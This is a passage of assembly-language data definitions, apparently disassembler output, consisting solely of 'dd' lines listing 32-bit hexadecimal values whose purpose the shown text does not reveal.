		dd 0A8C8A20Ch, 43BAC131h, 71FC981h, 0F497A556h,	0A950A4A0h
		dd 0BB2A50C1h, 80338638h, 0FA5A4EE9h, 0E3C52490h, 40E12D0Dh
		dd 86988D5h, 0D5F75F04h, 3CD1A780h, 0E605481Dh,	29A97E2Dh
		dd 4CAB70D7h, 0BF4B3458h, 0FA0187C1h, 9D2A142h,	5545C855h
		dd 5E680253h, 5B427C2Ah, 8376DE5Fh, 7A720DB4h, 73431EF9h
		dd 964E580Ah, 0A94C70E8h, 47C6EA2Dh, 0F29C74BFh, 7542BB56h
		dd 0D8BFDE6Eh, 5E81CF62h, 5ADEAED9h, 0E2594E24h, 1ABD9497h
		dd 433186ABh, 92792E1h,	5D524C76h, 0CB42335Ch, 0B88980B4h
		dd 9678DBh, 8354841h, 314060A7h, 0E9A4C250h, 0FD49D20Bh
		dd 0B2ED036Dh, 0F04AEA2Dh, 846FD13h, 4014821Ch,	80C9BEF8h
		dd 250CBB53h, 0BA333E7Fh, 654F1376h, 0E3F50147h, 2B5BB917h
		dd 118B5BEEh, 7304767Eh, 4353C756h, 7F2002C6h, 0AD7C27E8h
		dd 0D2F88043h, 50970162h, 49F702E9h, 74E977D9h,	0EB1F725Ah
		dd 4F56DFFBh, 821944AFh, 5D1616F1h, 0CB843EF9h,	0AEE809E1h
		dd 58AE00C1h, 0BBD292h,	891AEFE4h, 0A831D98Dh, 665A0601h
		dd 0D076D681h, 73D8833Fh, 3DB83437h, 68B0F01h, 9D8D0DBAh
		dd 303A33EDh, 3EC01039h, 59FE53C6h, 68ADFE89h, 0A91E2Bh
		dd 7FD67DCAh, 0D30B58Bh, 36F11926h, 5E823061h, 0CE3C2724h
		dd 0C0532B25h, 0D020C0Dh, 2E118529h, 0C3E6830h,	134D8D31h
		dd 0FCF81881h, 850FE48Ch, 8938E9BDh, 0C015C1D8h, 2363F024h
		dd 72E2DBF5h, 6E12AB00h, 8C19AF7Ah, 87840058h, 28F28F47h
		dd 0B3017D5Fh, 805A620Bh, 46F03F2Dh, 161B0DBh, 55670FAEh
		dd 8A476F51h, 422DA51h,	0D2CA18FCh, 9F8310A2h, 0E508B600h
		dd 0DCC8BBC1h, 758B00DAh, 0CA2D0557h, 2462C54Dh, 24B82F28h
		dd 552221A7h, 60106112h, 89389BEh, 855344A1h, 0BB012284h
		dd 0E0D77F45h, 0F64BB5h, 22FF020Fh, 512DD85Dh, 0DE28F100h
		dd 9177BB81h, 0D1EA00CBh, 1CCF4741h, 70FE72B6h,	0EEA9E400h
		dd 7ED8D3BEh, 0F4461FF8h
		dd 0DCDD00DAh, 28E16C08h, 88B08E00h, 0FEA6C4B9h, 7BE008Fh
		dd 0BFA8137Fh, 0DD00F751h, 68D6735Ah, 0EEA2936Bh, 43A500AAh
		dd 2BDA9E12h, 83E1375h,	8A828022h, 31716251h, 3F7C23h
		dd 3B75B0D8h, 0BE65010Ch, 4EA89200h, 7007F449h,	0B5020755h
		dd 408F5393h, 46034859h, 35BC8802h, 40B19FD4h, 1998D9Dh
		dd 31A6B6A9h, 0FC59EB96h, 0CF7A5D54h, 2D00E27Fh, 76CA754Dh
		dd 1E47A6DEh, 0E8211C6Fh, 7FD300ECh, 2389589Fh,	7601A5B1h
		dd 24374062h, 9560100Eh, 16DD09C1h, 3E00CCEFh, 0F31B285Ah
		dd 240094FCh, 0F2C6C0ADh, 0BCAF7Ch, 9D0D979Ch, 6F10E949h
		dd 0D848E418h, 242F860h, 4E5227E2h, 88879158h, 0DDB14036h
		dd 0FEFC624Ah, 40030927h, 7113B41Eh, 9A9103DCh,	0B3ABF938h
		dd 92792A0h, 0A366000h,	185640E5h, 0D47C5Ch, 0A20EEA7Ch
		dd 526295B0h, 3F1C5300h, 200B69E4h, 0F69001E1h,	0CEDBD0A4h
		dd 5B6020A0h, 0E8B3F200h, 0AEE41FB0h, 1E183901h, 4E7CCB80h
		dd 78B81BD0h, 850ADE1Ch, 16D1AD80h, 1D403Ah, 6F8F6AC3h
		dd 0BADC9CF9h, 0ABB9A402h, 0E091D41Ah, 1A6E20Ch, 1775DA0Eh
		dd 0F4D75674h, 6C4C0F2Eh, 58350014h, 2CD61A59h,	5B1E01A3h
		dd 784039F8h, 979895DBh, 0D54C98h, 709254CDh, 401F2D6h
		dd 12DD8B3Ah, 0C2DCC008h, 1E047CD3h, 3991AF9h, 0AD737F80h
		dd 544E006Dh, 8C36451Fh, 170EFB31h, 6F55D9A2h, 3CE12032h
		dd 4894C39Eh, 0AA014060h, 0FA778D1Fh, 4C04702Fh, 478A7E0Eh
		dd 0E41C40D5h, 910993h,	7B10DAFEh, 0BDFAE5F5h, 0BC90AA3Dh
		dd 0E76F01EFh, 9E7ACC82h, 0FED01434h, 0ECF200EEh, 0F7555289h
		dd 0BA061B51h, 0B8F864A2h, 6D6300E1h, 0B7BF2394h, 59008BB1h
		dd 6F4F94Fh, 92EDCDBh, 275DF771h, 70E13007h, 44030E79h
		dd 36A62F1Fh, 54533EC0h, 3CFD19FEh, 0D5000780h,	0E39F0976h
		dd 3C003992h, 75BC2BF4h, 0ACA310h, 0E315F04h, 0DBA17F77h
		dd 0CBA54B00h, 0E776A969h, 8A033912h, 0C75E3500h, 0D14A41D6h
		dd 43D02760h, 0E86EEFh,	753E1438h, 0C7D0CEE6h, 0E07AD400h
		dd 0AC308457h, 585F00A6h, 0DCCA9FD7h, 7E0083E7h, 703DB403h
		dd 28C41FAh, 270F2D1Fh,	904B2CDDh, 5834C9h, 0BDE17h, 0F926B690h
		dd 1D6A8C6Ch, 78A0AB00h, 0BB99C4EBh, 0B8E400D8h, 0AE0D258Ah
		dd 0F01C9D0h, 1864EA2h,	4030BCCAh, 1C6E081h, 0A1D9D438h
		dd 0C4DAF3FEh, 0D00C1F6h, 8E70C8DCh, 52D15841h,	0A800C4B3h
		dd 0AAEB9CCFh, 0F5009095h, 0FC7D0145h, 94ADCDAh, 0D7A412A6h
		dd 0CA6A0000h, 0B803191Bh, 0DFA1B5E3h, 336DE0EAh, 0A89F500Dh
		dd 880C006Ah, 0D03B678Ch, 0EFA015C8h, 0A80066CFh, 5DC77277h
		dd 1DE4E0D7h, 3CF817C3h, 4DEC5B80h, 0E35BE36h, 82125438h
		dd 0B6773A65h, 0D3CC1F3h, 0CF44D0h, 2F57BC63h, 49AA5CFEh
		dd 0A1F72B03h, 0F0057AF1h, 0CD6DD08h, 0C78F3830h, 0F7027DB0h
		dd 0EB49564Eh, 0C0074201h, 43756Dh, 0BD5D1ED6h,	57563B71h
		dd 0CA81CE00h, 3D473CCFh, 0EFC8F7C0h, 0BCD00041h, 1D7C344Dh
		dd 0B2F2DBCAh, 0E9E49E02h, 60B154DDh, 0B80364C4h, 1311003Ah
		dd 14AFB93Ah, 25007F56h, 0A6451651h, 5CB17517h,	0B006CD8h
		dd 5CBE7AF3h, 0CD00AC82h, 0C8C455ADh, 90DA6DFh,	2A155E2Eh
		dd 40873C07h, 5875A4B2h, 22314200h, 187B0C16h, 0BDC1FBAh
		dd 62F142C8h, 0C8669B93h, 0CCFAAF00h, 0BDAC81F8h, 9AD00086h
		dd 67F35020h, 3C904771h, 14C05B01h, 0ADCB3F15h,	0C857A053h
		dd 0E7854Ah, 4180A188h,	0CB082C39h, 0B273C412h,	8B4F201Ch
		dd 0A7FE809Ch, 60E018h,	87A30394h, 3D8EBD86h, 80C3573Dh
		dd 72914752h, 0CC0EEBh,	6DA613A8h, 0F7E12FBBh, 8185AC3Fh
		dd 0D5C29EF6h, 1C30DC26h, 0FB2A00B3h, 2C6608AFh, 5075D936h
		dd 8523C90Eh, 0F073E095h, 262E6C1h, 397443CDh, 9DE06ECFh
		dd 0D724A5BBh, 64013457h, 0F3019CA2h, 98901CD0h, 405A7AC8h
		dd 6D0038D6h, 6B604ED2h, 71DD45h, 0A37CB4CCh, 829A08FCh
		dd 0A4908370h, 3069F808h, 987800F7h, 0CA9BC121h, 0F2952C00h
		dd 0DD2B7A0Ah, 0B0F6484Eh, 7FF44C00h, 6FE413AEh, 0DB341B00h
		dd 7FBA428h, 0A74000B8h, 0BFF27454h, 5E00CC89h,	0F6712406h
		dd 0A88FA2h, 622AD46Eh,	3DFCD9F8h, 94A37E01h, 0DFBF1778h
		dd 1512C4h, 0AE86E4B2h,	0B862474Ch, 94B5F200h, 0DAAC6B32h
		dd 7CF40542h, 901BB384h, 0F09B4918h, 0E63B5600h, 226C99B6h
		dd 5BA900AEh, 0F1E2172Ah, 0D00021B5h, 9402967Bh, 10DB36h
		dd 0C3ABFA7Ah, 0B32DC205h, 0D0098407h, 0AEA0370Ch, 4DE37Bh
		dd 0A9419C0h, 0C23217E7h, 8B347302h, 40871149h,	43BE2Bh
		dd 0ED8E4E92h, 0FDC22957h, 8F45E403h, 0F013DF81h, 0A7D86Ch
		dd 0C6607D2Eh, 0EB63FC0Fh, 0B8F9FA01h, 0F4C91C34h, 90DD32F8h
		dd 26AF000Ch, 9FCABE7h,	0CD000318h, 1FCC4A44h, 0B8DD79B1h
		dd 0F2AD0032h, 783FD19Eh, 7213CB35h, 0F4608985h, 3A60A668h
		dd 0E012EF0Eh, 160C0F95h, 11022240h, 0AD2CDD35h, 8185E077h
		dd 6D80DA2Fh, 75436846h, 1AD2009Fh, 350177B7h, 0C000471Dh
		dd 0CE117413h, 7B22DAE8h, 3850735Ah, 83000662h,	71EBC035h
		dd 0DB0024CBh, 8E739AE0h, 0F224813h, 0C6CDD1E4h, 52E18482h
		dd 0BCB2F446h, 0E2D10B00h, 3F2947D3h, 0AE0500F1h, 3EC8B4CDh
		dd 1C7D7E08h, 0ADB7A305h, 0A4C02A3Ch, 71B10Fh, 4A063D17h
		dd 651E79E1h, 3F00777Fh, 265AEC5Fh, 1EE43B0h, 0D8AE5867h
		dd 0C8DBC5F2h, 4507B2C0h, 0E45CCC54h, 10E65900h, 467201D2h
		dd 0E206045Dh, 7AAC4817h, 87ECC02h, 617F8E40h, 0F3C49408h
		dd 0C76B07E0h, 905856D1h, 0A6554C67h, 37029C00h, 384713D4h
		dd 218A1F7Fh, 9AB4C0F0h, 30855483h, 31D9EFCh, 0A3004AE2h
		dd 0B8C06345h, 0F4E700CEh, 23A4F3D6h, 0D4008E7Eh, 0E0C2F174h
		dd 1493CB58h, 908A99DCh, 0D520AB01h, 0C4AE9DF3h, 0B00056Fh
		dd 0F5523D42h, 7F3F807Ch, 0E31E0056h, 6B37172Fh, 6C784B36h
		dd 0B006E201h, 381A2E5Dh, 1FB30AD0h, 0C1C110D7h, 390F99EAh
		dd 0E802CB9Fh, 9DEE26C5h, 80B08307h, 904F891Ch,	9E68ECh
		dd 46B9F9C0h, 5153C510h, 0ABC8951Fh, 214C4940h,	0DAA3FAh
		dd 0F1CEA058h, 6B3374DFh, 69A53000h, 8B7F24D4h,	0D770002Eh
		dd 0FD654B56h, 70E8E8Dh, 0E3449D32h, 0F096BF50h, 646E0CBh
		dd 0CE4E3CA9h, 0BA0021C4h, 945C020Fh, 0B47740h,	0E607915Eh
		dd 3E8805FDh, 3B113D5Ch, 3800799Fh, 4DAB8172h, 0EECF13D0h
		dd 0CEF819h, 0E85E2A4Ch, 0E085B587h, 80BB663Bh,	0A678EB80h
		dd 90F9C543h, 0BDE60713h, 60643E7Dh, 0F84F4A1Fh, 8FF09C00h
		dd 7B42882Bh, 56E706CBh, 587438BAh, 0E6ACB900h,	8224046Fh
		dd 1226008Eh, 0EC0DEAE9h, 5D001D74h, 53332A3Dh,	9AD542h
		dd 0D2E99454h, 83359BCCh, 61F8A00h, 0EB3897F0h,	0B8CD07C9h
		dd 230854E4h, 33A0ECD7h, 0B3021565h, 76ED4449h,	0A4503Eh
		dd 563A91C0h, 0C32E08Bh, 0F1EFCB00h, 7E870B9h, 0C6D11202h
		dd 8EB09081h, 0AD0105CEh, 0AEAA13F5h, 16F46BE1h, 1A0B089h
		dd 463BB009h, 201D54E3h, 97007E6Fh, 2683732h, 240EA03Ch
		dd 0FCE667h, 0F871F059h, 0A0C2216h, 909FA673h, 4E12FADBh
		dd 6CA400EEh, 6B7E7F3Fh, 8A19D773h, 6AB80FCAh, 373109Fh
		dd 0EDE45D08h, 0F0703100h, 47E6AD9Dh, 0B6AC3A77h, 0EE0F5C00h
		dd 3A46A750h, 5470FB00h, 0ED1EA151h, 8A890018h,	0C7665AF0h
		dd 470E6A27h
		dd 94EEA37Fh, 8B770548h, 3C407E09h, 23E3ADB5h, 148E3D5Fh
		dd 0A473088Ah, 0E85B0018h, 468762EDh, 8DDA591Dh, 0DF68123Dh
		dd 0B909487h, 3FD90961h, 0C680C822h, 0E1FCB0EEh, 0AA043A67h
		dd 0E6ECD135h, 2AD2ECC0h, 0B10C0308h, 513B9A42h, 7FEB5EF0h
		dd 727BE3Eh, 31E3FBA3h,	5FBF1CF0h, 7A5E0A8h, 0B620AD67h
		dd 0F4BA60ABh, 45009926h, 70B4892Bh, 7A9905Dh, 0E5723723h
		dd 99B2C068h, 0ED097B5Fh, 0E028F082h, 7AA7A84h,	0CAAE4837h
		dd 0A6A781ECh, 739717EFh, 40711F98h, 0A82BB4A2h, 4B89EAA7h
		dd 600C60FCh, 1D7511BFh, 6E20358Ch, 0AB38C1E3h,	8047CB6Ch
		dd 56995B49h, 0A8A364E5h, 185344A4h, 11AEF0AFh,	0BF08655Ah
		dd 2B1DCAh, 25B290DAh, 608429C2h, 0E44248F2h, 5A88AD64h
		dd 0C0F368A5h, 0C4709D50h, 479F0BA3h, 4DE06466h, 486AE50Dh
		dd 310C00ACh, 25E01C73h, 0AF2C1F14h, 0A883D84h,	8C946EEDh
		dd 0F1430C80h, 0E72D93h, 7D47BEA8h, 0D883998Bh,	0CC86DC0Fh
		dd 1C60D802h, 0E50A0761h, 8F6AF3D7h, 0C17036CCh, 88F2D130h
		dd 1D854579h, 80539E4Fh, 705D7F3Eh, 4B3C6F49h, 41950186h
		dd 4A69DB84h, 28927CD0h, 3D50DABh, 97487942h, 40B773AFh
		dd 884326F2h, 686E5100h, 6FDB5E78h, 0F44008Ch, 6D4F8A42h
		dd 5C00884Ch, 4B9A4D84h, 0F123496Ah, 785F385Ch,	0E9757899h
		dd 628C184Ah, 7A787708h, 67B05167h, 764F7060h, 906AEE49h
		dd 62860047h, 4D0BF275h, 0A1E5196h, 2400776Eh, 107E8C53h
		dd 0AE233069h, 6F14A5D1h, 6B69A1F0h, 0E1C8E539h, 81282FF0h
		dd 25A82110h, 0C85305BFh, 8008B2E4h, 346FB0F8h,	12BC9037h
		dd 4224430Bh, 0FE1F261Ch, 2071C849h, 8A6F3F36h,	38401229h
		dd 16871E4Ch, 72A10AB1h, 2CB4F5h, 3D2BBCD7h, 0F4532D03h
		dd 21DD3B0Ch, 0E2636205h, 50301840h, 15F61E18h,	506FAF58h
		dd 3126508Eh, 0A541BFA8h, 5BE98383h, 0AD9BCD8h,	25E74B19h
		dd 71A58578h, 0B558089Fh, 3B9DE477h, 0F91DC4F2h, 66B00E74h
		dd 8001C416h, 0E422A1C3h, 0CC24A467h, 13C01823h, 0A6705839h
		dd 0F174ACFAh, 12E05C18h, 24CAF519h, 8BE4321Eh,	950917B1h
		dd 1C66B802h, 1BE6FCC0h, 0F2F950B0h, 6810E919h,	594C3ABCh
		dd 0EA5B03B8h, 0F9DC505Dh, 0C409C70h, 547135DAh, 504E98CEh
		dd 3DA95836h, 2AA91331h, 1077D164h, 2A6B831Ch, 818CE864h
		dd 20929BCh, 4A1158B8h,	75398C2Ch, 19023098h, 4C53EE90h
		dd 487202F8h, 612344E7h, 2608E15Ch, 0DC8E3F22h,	0C193DB40h
		dd 32B805D7h, 0E428E68Ch, 0A65204D4h, 0C96FAC7Bh, 0F298907Ch
		dd 8E646781h, 8B9196BEh, 0F5A24480h, 51F46154h,	4C662744h
		dd 912C6A88h, 6428ACEEh, 984CC342h, 16482828h, 145E254h
		dd 0DAE05B90h, 220C233Dh, 8025572Fh, 6199FE34h,	40EDB40Ch
		dd 7B31838Ch, 0FC042259h, 88AF539Fh, 27450B0Bh,	10F47888h
		dd 10DA8505h, 20819425h, 405B990h, 3293FC28h, 73D725A7h
		dd 9946F080h, 2E2A140Ch, 0EA79098Ch, 0C20C9F51h, 0A03E15DEh
		dd 4245F2A8h, 85CF220Dh, 99921A80h, 0A0580C30h,	9CADACBAh
		dd 0A11E1951h, 92096EEEh, 0A07CF5B1h, 0A38985F0h, 0A81404E2h
		dd 25ACDF42h, 1F385129h, 50AF600Ch, 0CEA8AB90h,	71361A1Dh
		dd 9BA2B1B2h, 32817CA8h, 2C79E80Bh, 0ABD9D899h,	0B2655821h
		dd 2C6A4C52h, 0C4D71088h, 2BC16F59h, 803CEE64h,	0ED8B6C10h
		dd 98D4BF5Eh, 2D363E04h, 2C407744h, 0CC64526Ah,	0DFACE004h
		dd 0A38480D4h, 2314BE83h, 1FC44B87h, 2022E516h,	21245056h
		dd 2F45A8A8h, 0D9B03C37h, 8DF4DC17h, 3C8EE8A2h,	7D328F08h
		dd 0D8A8F253h, 0FEDEE13Ch, 203CFAA0h, 0C25F2FAAh, 39DA4400h
		dd 1F6DC3BCh, 2E08D5A2h, 79684160h, 5606D86Ah, 1721735Ch
		dd 3300A51Ah, 0C51965F9h, 8A24091Fh, 78C45B7Ah,	0B7399300h
		dd 8D691966h, 293C00C2h, 926D3340h, 0D101F94Fh,	1A681E67h
		dd 0CC24568Ah, 0CA5F88E1h, 0B40C3C0Eh, 6E9DA740h, 0A0F84270h
		dd 0AF280210h, 8B3DD103h, 4F00A45Ah, 0ADC8EB68h, 0B2417Eh
		dd 3B974EDCh, 0E424155Fh, 5A135300h, 0C328B4EEh, 5730399h
		dd 42F69B78h, 0BCE916E0h, 3D4C4700h, 49081CCCh,	62C80068h
		dd 7E797FAFh, 6107EB73h, 27E3B1A5h, 0FCA9A10h, 4E52061Ah
		dd 89E40BF0h, 4A3AE200h, 0ECA99F9h, 0B05D001Dh,	69CFCB7Bh
		dd 0EEE48473h, 80284D3Ch, 30F5B1Eh, 931C68h, 8296F1EFh
		dd 35808F72h, 60E76926h, 58138580h, 0F05A88FEh,	0D8C73E3Ah
		dd 8364E50Ah, 21C192B4h, 0C808B5FCh, 76504531h,	0B3061DA6h
		dd 840C2360h, 2B7800A1h, 0FC34A772h, 2F0712F0h,	4F43F3C6h
		dd 68824C47h, 2CA087B5h, 0C02676F2h, 92F684h, 50737A38h
		dd 9B556A98h, 56DA801h,	0CC337B56h, 0E4E930h, 78B5E2D0h
		dd 7D811F92h, 0D20D6903h, 0E0F6406Bh, 7C1B6F83h, 0C46818BCh
		dd 708429B6h, 8F1D07F8h, 46C030D4h, 38852803h, 0CE0C0736h
		dd 0B0AF50D2h, 6B91DD17h, 57D7CD04h, 5AC081E1h,	16471B84h
		dd 0D2C3A8h, 9FCA7DEAh,	777B54AAh, 0CD720700h, 0BA1FF8D6h
		dd 0B1E30053h, 0C3AA9CE4h, 74142F5Eh, 0E1201A17h, 5A1802ABh
		dd 2A13A406h, 30A3D3h, 0BB877C37h, 0CDE868BDh, 31095463h
		dd 172000A4h, 95DD8774h, 30F4EAEh, 87C72E47h, 1DF7A3D7h
		dd 8C4C894Fh, 49E8BBh, 0DB43194h, 69DDFBC1h, 0D3013E72h
		dd 214EFD15h, 7AC0C040h, 0A8540EF8h, 0ADA070E7h, 0F40251E3h
		dd 0CD1CC30Ah, 5D129096h, 8054CF10h, 0BDB28745h, 2D448C20h
		dd 877D3F7Eh, 62501F00h, 173E2326h, 2B6A1400h, 0B177AC46h
		dd 1A872054h, 0E9C1470Ch, 182FA0FEh, 182B085Dh,	510604D5h
		dd 0A7DCBDC4h, 50D74858h, 2F771103h, 2791EE40h,	0B8089808h
		dd 31B6C21h, 55B5B111h,	0B018D4F2h, 0EF99302Ah,	7297172h
		dd 0D3977C04h, 58218376h, 3E8987E8h, 0C37EF900h, 0DD1BBBE8h
		dd 20ECA0F2h, 4143602Bh, 0B008EBCCh, 0F75B1800h, 976A7095h
		dd 0BDA80090h, 553C1BAAh, 8D0042C9h, 440FB512h,	4453D374h
		dd 2F294648h, 4A1BD8CEh, 16C7E0A1h, 52A97890h, 0C8B7784Dh
		dd 1EECB3C0h, 43D3018Dh, 0F6BD0CAh, 6800D7ACh, 2623E1C3h
		dd 5E75CF9h, 0ED7FD13Ch, 6CEC0795h, 43911CCCh, 0A08209C0h
		dd 0EA3B3D57h, 12220697h, 79311072h, 29CFCC33h,	327690C0h
		dd 29A10389h, 83474523h, 2100CDFBh, 21A8EFC7h, 0EBBB869h
		dd 0EE492DA4h, 86E54978h, 0B2948F02h, 615ADA1Bh, 3420D2FCh
		dd 41048C16h, 40BDB687h, 12202E62h, 36A8779h, 0AC29900Fh
		dd 0D1F0FDBBh, 0BA152761h, 44708A83h, 7E00E398h, 0DF4D143Bh
		dd 36B57481h, 4021D147h, 182AF100h, 4928AF87h, 0C7880080h
		dd 0C1315EB2h, 8F188BADh, 4ED0B07Eh, 7D491DAh, 0B99E3161h
		dd 6019E804h, 23B9873Eh, 2B1178BDh, 87761500h, 0EC8EC152h
		dd 1E445F00h, 31847847h, 0D27F0055h, 0C9B4CE0Bh, 6D14FE03h
		dd 1294AA9Ah, 0FC20CC85h, 193B7E3h, 20BE513Eh, 988E48A8h
		dd 9D9DE08h, 67930080h,	2934366Ah, 0A61C9F7Ch, 84459A24h
		dd 0B58071DFh, 48F650B1h, 1D075833h, 0C92440EFh, 829C6B08h
		dd 29C07C8Eh, 90D1CC40h, 6AD53700h, 3C3473Eh, 29B260DDh
		dd 0ED3B9996h, 0B0E6F400h, 1B5A720Eh, 0D3640449h, 10A93D4Fh
		dd 11823F4h, 0BDB8873Fh, 88301870h, 0CAA17714h,	2B8C4253h
		dd 0A042706Ah, 2BE44C45h, 2EE91F60h, 20565202h,	0A4C24938h
		dd 88143E0h, 8213CC4Ah
		dd 0B7F8808Fh, 96052E6Ch, 0D4CF84B0h, 9F1BBC40h, 1FF20D6h
		dd 0EF8C8353h, 3062CAB6h, 0CE2AD4A6h, 0C70EC0D9h, 0E7EE5793h
		dd 0DED3C3D5h, 0EA41A099h, 1CA79E3h, 0CE22AB66h, 50DDBE48h
		dd 87BD790h, 53D95E00h,	16209E49h, 0A70ECB2h, 3528652Fh
		dd 0D3A80980h, 60BC1884h, 23761125h, 0BC11382Fh, 111E6902h
		dd 0E080792Dh, 0CF50B55Ch, 61BF1C0h, 0A0A2527Eh, 2C474EACh
		dd 0AA00ACE1h, 3C6E49D0h, 4593B480h, 448C5651h,	0BD000ADAh
		dd 0B2AEAA93h, 375530D3h, 0A0B81FB3h, 0BB20A92Fh, 3B2E8A7Eh
		dd 0C8007F04h, 6AA2DDEEh, 788CB3ADh, 0A3062EC1h, 7EC94F51h
		dd 3C838B8h, 9C6EA4h, 5FC11823h, 4729578Ch, 0AB0AD031h
		dd 0E68080C6h, 0A01D3F43h, 247A016Dh, 214B66B5h, 0B02EF8B3h
		dd 4A748300h, 29473B4Fh, 2384A8CAh, 39750CB3h, 0A849C7B1h
		dd 307F7E00h, 9A2EEBCBh, 0FE2D0008h, 0B404D29Dh, 29CBFF48h
		dd 3A0C102Ah, 7B0C1CADh, 301243ECh, 0F4D836EDh,	0C11C1D46h
		dd 4C8614B5h, 0C61D5A8h, 0CEAC7AD4h, 7904F249h,	684B25E9h
		dd 695358C2h, 2187FE5Ch, 0A0E9718Fh, 0A1C496ADh, 49C8BB60h
		dd 1E97A804h, 4075F27Ch, 47351D24h, 3304CE51h, 3E3C7D2Fh
		dd 2ED43491h, 0C04664E0h, 4C8C1C10h, 550CE76Ah,	69C4B0CDh
		dd 151EA32h, 78D8AD67h,	0FCD4954Eh, 82152565h, 98CBCFh
		dd 0FE8DA91Dh, 0E88F53Dh, 4053223Eh, 56C0A5AEh,	211EF8BCh
		dd 823CAB48h, 0E0BD204Eh, 9A9CF3A4h, 0C2573280h, 0A7C3D31Ch
		dd 0ADAF5900h, 78622E4Fh, 7359003Fh, 0E1BDF8F9h, 6498DC47h
		dd 97800499h, 0BB801474h, 0E3D300F5h, 3DE4DE5Eh, 4F497C6Ah
		dd 0B584C64h, 88C430D6h, 5C80D45Ah, 69A2E41Fh, 7DAB00B9h
		dd 50C5DBFCh, 51543BF7h, 3E04FB1Ch, 8D7546F1h, 88124488h
		dd 3C6050D2h, 852F7151h, 0AC1D50F8h, 3BBD00B5h,	0AA9FC52Dh
		dd 0BB00AD56h, 0EF49189Eh, 31475137h, 465087B9h, 0B247230h
		dd 0A09516F0h, 8F3D6D4h, 78C013C5h, 4CC847C4h, 9899192Bh
		dd 843181Ch, 50BDB487h,	37B8070h, 284F4387h, 63C01290h
		dd 0DD1A029Dh, 4160C87Eh, 20198140h, 2F266B30h,	80C44020h
		dd 11176843h, 6D5350E8h, 991BEB00h, 9C315A83h, 0CF5503ADh
		dd 4A7B1CEAh, 0D4CEDBD9h, 0FE722952h, 8CFC9D28h, 24480648h
		dd 76C08079h, 464B22E9h, 4FC2250h, 0B5E96E8Ch, 2C7C9142h
		dd 1E30F438h, 0C11C8700h, 0F825EE46h, 0AB4300EDh, 316F9895h
		dd 3A50105Dh, 0D709B49Ch, 11E0C11Ah, 84367040h,	4393B602h
		dd 0C0C7A651h, 93BF0C01h, 63FCB066h, 0CA3C01F7h, 4C848FBAh
		dd 0C5608A27h, 0D781B8C1h, 1D60852Eh, 55A08C28h, 15843BB7h
		dd 0EC2354AEh, 988D8203h, 2EE8664Ah, 4726EDE0h,	4E405035h
		dd 0C0ADDC05h, 0E7A66361h, 4D04FF0Bh, 0B144257Fh, 3380C8h
		dd 0D3CB2D47h, 0E161E54Eh, 22FA8618h, 72653270h, 0B14980F3h
		dd 98D06777h, 0D50B03A8h, 6D07C51h, 0A7C9F149h,	0A57520E3h
		dd 1399480Ch, 0A3110EDh, 76D4A989h, 0E96DC0E0h,	88464B21h
		dd 931DFA22h, 9540E985h, 493ED30Fh, 0E8AF30C9h,	0B1468451h
		dd 48D2AB2Eh, 0F4DB2912h, 21C29DC4h, 901A0643h,	2908420h
		dd 1608164h, 0D22085F4h, 0F8404048h, 0F0A5DE61h, 9E6096DCh
		dd 6DD009Eh, 3A193BA6h,	4ADFFD00h, 9B8262ACh, 0F8ED0EA3h
		dd 0CFACC948h, 4F0C42F0h, 41B5DC12h, 5D6F0069h,	84A10FC6h
		dd 6D00DB77h, 2142B16Ch, 7EF255E8h, 0DC9E0A83h,	3AF8BB16h
		dd 0B02C54C9h, 9BE34018h, 0A5E62701h, 0CE1E337Dh, 99C0E60Fh
		dd 257D6A76h, 492404C5h, 0C450BB13h, 0C8489834h, 837D1710h
		dd 0C0E95F37h, 9D458726h, 0B7D8A604h, 1DC4E3BBh, 0CE4E8802h
		dd 8B704044h, 0DC538031h, 0F777111Eh, 187C8FC2h, 680C802Dh
		dd 0F84E6C2Ah, 18485064h, 0FD81394h, 0C8A800BEh, 0E903BAC3h
		dd 46D8E850h, 1F44284Ch, 0A55FF7C2h, 0E7C098FAh, 242E4399h
		dd 16E0E249h, 0BC3C2077h, 80F7051Bh, 0E0B32840h, 9B3347h
		dd 6598DBCBh, 759A9372h, 6879767Ah, 0A7901A0Fh,	97960073h
		dd 0C6EE5E77h, 28605A26h, 0A5436977h, 6C06948Fh, 677D305Fh
		dd 5AF8AEEAh, 1979220h,	626B9B63h, 0C474A593h, 0AA0632A0h
		dd 64A89A76h, 71960D90h, 0D318A166h, 6063A5B8h,	64A99C0Eh
		dd 75998678h, 719D7428h, 69F6067h, 6665A691h, 5A6C78C3h
		dd 62311F97h, 0D159F7A8h, 48AA5E5Ch, 3254EE0Ch,	70009984h
		dd 68A19374h, 0A0A75F69h, 289C6288h, 0E8145D6Bh, 0CFDD07B9h
		dd 8191E159h, 0A68EB6FBh, 1901E449h, 0F0D53060h, 0B8343180h
		dd 3D5647C5h, 25735200h, 71C02883h, 23B40067h, 0CA810FAAh
		dd 0A9002C24h, 15BFF4B3h, 7CDAA896h, 35FD0791h,	0E3E6C1C8h
		dd 0B7F9395Bh, 527180B6h, 8AE4D09Bh, 0CAE94054h, 98766D07h
		dd 96F6723Ah, 187D1D28h, 1745020Ah, 0E003F348h,	6EA128CEh
		dd 0B210E518h, 68C82B5Bh, 0F6E04392h, 1BB3311Dh, 118CD9Ah
		dd 0EDD4142Ch, 1391011h, 0A4E23415h, 0E50FCE40h, 0AF4B1D10h
		dd 0CF5B833h, 95FA1559h, 0A8A41A30h, 2CFEF028h,	1792444h
		dd 589F1BE8h, 5034F33Dh, 4429D6B4h, 0F4A12C14h,	5D4810D0h
		dd 9618FC8h, 2F0C3355h,	5225C00Ch, 33F3305Ah, 0EF1838ECh
		dd 809C8889h, 0C18C1668h, 64D52DDFh, 413EC8EDh,	0AD1C7592h
		dd 0E33DC43h, 0A40CF9F1h, 0A153198h, 39189962h,	564C87DCh
		dd 842058EAh, 1FFB5722h, 0A4B9B833h, 0B9981818h, 2530BCD6h
		dd 2E1A31C4h, 9618CAD8h, 0F0728A4Ch, 0E89B1458h, 0FD914230h
		dd 0DB48E014h, 81396F28h, 3EE87D96h, 0F1CDA449h, 3685C90Ah
		dd 0C1B8C474h, 44DC2C2Ch, 0C4854A2Bh, 0CFC83141h, 0EA509019h
		dd 1057B288h, 0CB9A84F5h, 0F794103Fh, 0C24298A7h, 0D4881FCAh
		dd 2C0150A0h, 504F2A89h, 28D7EC84h, 1228A10Bh, 0C73C841Ah
		dd 46841828h, 0DA54A17Ah, 1123210Ah, 46D0A8A2h,	0EFE013F5h
		dd 6C885C24h, 1B9144B6h, 0DC116099h, 0EB8E9609h, 0EC0E6011h
		dd 61DA4F17h, 0B7848240h, 0AE2796h, 45A34E7Bh, 989558C8h
